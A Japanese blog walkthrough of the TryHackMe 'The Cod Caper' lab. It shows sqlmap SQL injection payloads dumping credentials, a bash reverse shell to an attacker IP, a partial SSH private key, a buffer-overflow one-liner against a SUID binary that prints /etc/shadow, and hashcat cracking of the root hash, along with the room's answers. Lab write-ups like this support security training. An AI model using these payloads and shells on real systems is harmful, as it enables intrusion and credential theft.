0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】The Cod Caper:Walkthrough

Posted at

概要

TryHackMe「The Cod Caper」のWalkthroughです。

Task2

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.53.206 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
|   256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_  256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.18 (Ubuntu)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache httpd 2.4.18

Q1.How many ports are open on the target machine?

A.2

Q2.What is the http-title of the web server?

Hint.http-title is a default script?

A.Apache2 Ubuntu Default Page: It works

Q3.What version is the ssh service?

A.OpenSSH 7.2p2 Ubuntu 4ubuntu2.8

Q4.What is the version of the web server?

A.Apache/2.4.18

Task3

Q1.What is the name of the important file on the server?

ディレクトリスキャンをします。

$ dirsearch -u http://10.10.53.206
[03:21:02] 200 -  243B  - /administrator.php

/administrator.phpにアクセスすると、ログイン画面が表示されました。

image.png

A.administrator.php

Task4

Q1.What is the admin username?

Hint.It is a login form

ログインのリクエストをファイルに保存し、sqlmapでインジェクションに成功しました。

$ sqlmap -r login_request.txt --batch --dbs --risk 3
sqlmap identified the following injection point(s) with a total of 393 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=a' RLIKE (SELECT (CASE WHEN (1764=1764) THEN 0x61 ELSE 0x28 END))-- umLy&password=a

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: username=a' AND GTID_SUBSET(CONCAT(0x7170717871,(SELECT (ELT(9091=9091,1))),0x71716a6a71),9091)-- Ulkd&password=a

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=a' AND (SELECT 7873 FROM (SELECT(SLEEP(5)))qTmg)-- Mbpv&password=a
---
[04:51:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 or 16.10 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.6
[04:51:03] [INFO] fetching database names
[04:51:04] [INFO] retrieved: 'information_schema'
[04:51:04] [INFO] retrieved: 'mysql'
[04:51:04] [INFO] retrieved: 'performance_schema'
[04:51:05] [INFO] retrieved: 'sys'
[04:51:05] [INFO] retrieved: 'users'
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] users

usersデータベースにusersテーブルがあると分かりました。

$ sqlmap -r login_request.txt --batch --dbms=mysql -D users --tables --risk 3

Database: users
[1 table]
+-------+
| users |
+-------+

usersテーブルからアカウント情報を入手できました。

$ sqlmap -r login_request.txt --batch --dbms=mysql -D users -T users --dump --risk 3

Database: users
Table: users
[1 entry]
+------------+----------+
| password   | username |
+------------+----------+
| secretpass | pingudad |
+------------+----------+

A.pingudad

Q2.What is the admin password?

A.secretpass

Q3.How many forms of SQLI is the form vulnerable to?

A.3

Task5

Q1.How many files are in the current directory?

Username: pingudad,Password: secretpassでログインすると、コマンドを実行できるページが用意されています。

image.png

Netcatでリッスンします。

$ nc -lvnp 1234                                        
listening on [any] 1234 ...

リバースシェルのコマンドをフォームから実行します。
bash -c 'bash -i >& /dev/tcp/10.6.55.144/1234 0>&1'

www-dataでシェルを張れました。

$ nc -lvnp 1234                                        
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.248.211] 55944
bash: cannot set terminal process group (710): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html$ whoami
whoami
www-data

TTYの設定をします。

$ python3 -c "import pty;pty.spawn('/bin/bash')"

/var/www/htmlのディレクトリを見ると、ファイルが3つあります。

www-data@ubuntu:/var/www/html$ ls -la
ls -la
total 28
drwxr-xr-x 2 root root  4096 Jan 16  2020 .
drwxr-xr-x 3 root root  4096 Jan 15  2020 ..
-rw-rw-r-- 1 root root   378 Jan 15  2020 2591c98b70119fe624898b1e424b5e91.php
-rw-r--r-- 1 root root  1282 Jan 15  2020 administrator.php
-rw-r--r-- 1 root root 10918 Jan 15  2020 index.html

A.3

Q2.Do I still have an account

Hint.Check /etc/passwd

papa,pinguのアカウントが用意されています。

$ ls -la /home
ls -la /home
total 16
drwxr-xr-x  4 root  root  4096 Jan 15  2020 .
drwxr-xr-x 24 root  root  4096 Jan 15  2020 ..
drwxr-xr-x  5 papa  papa  4096 Jan 15  2020 papa
drwxrwxrwx  6 pingu pingu 4096 Jan 20  2020 pingu

A.yes

Q3.What is my ssh password?

/home/pingu/.ssh/id_rsaからSSHの秘密鍵を入手できました。

$ cat /home/pingu/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEArfwVtcBusqBrJ02SfHLEcpbFcrxUVFezLYEUUFTHRnTwUnsU
aHa3onWWNQKVoOwtr3iaqsandQoNDAaUNocbxnNoJaIAg40G2FEI49wW1Xc9porU

(中略)
pOq0JjdnM+KJtB4ae8UazL0cSJ52GYbsNABrcGEZg6m5pDJD3MM=
-----END RSA PRIVATE KEY-----

問題文を読むと、秘密鍵のパスワードがどこかのファイルに隠されているようです。

image.png

findコマンドでパスワードファイルを探すと、/var/hidden/passを発見しました。

$ find / -name "*pass*" 2>/dev/null

/var/hidden/pass

パスワードを入手できました。

$ cat /var/hidden/pass
cat /var/hidden/pass
pinguapingu

A.pinguapingu

Task6

Q1.What is the interesting path of the interesting suid file

/opt/secret/rootを発見しました。

$ ls -la /opt/secret/
total 16
drwxrwxrwx 2 papa adm  4096 Jan 16  2020 .
drwxrwxrwx 3 root root 4096 Jan 15  2020 ..
-r-sr-xr-x 1 root papa 7516 Jan 16  2020 root

A./opt/secret/root

Task10

Q1.What is the root password!

Task7~9を進めていくと/etc/shadowの内容を閲覧出来ました。

$ python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/root
root:$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:18277:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18277:0:99999:7:::
uuidd:*:18277:0:99999:7:::
papa:$1$ORU43el1$tgY7epqx64xDbXvvaSEnu.:18277:0:99999:7:::
Segmentation fault

Hashcatでハッシュ値を解析し、パスワードを入手できました。

$ hashcat -a 0 -m 1800 root_hash /usr/share/wordlists/rockyou.txt

$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish

A.love2fish

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?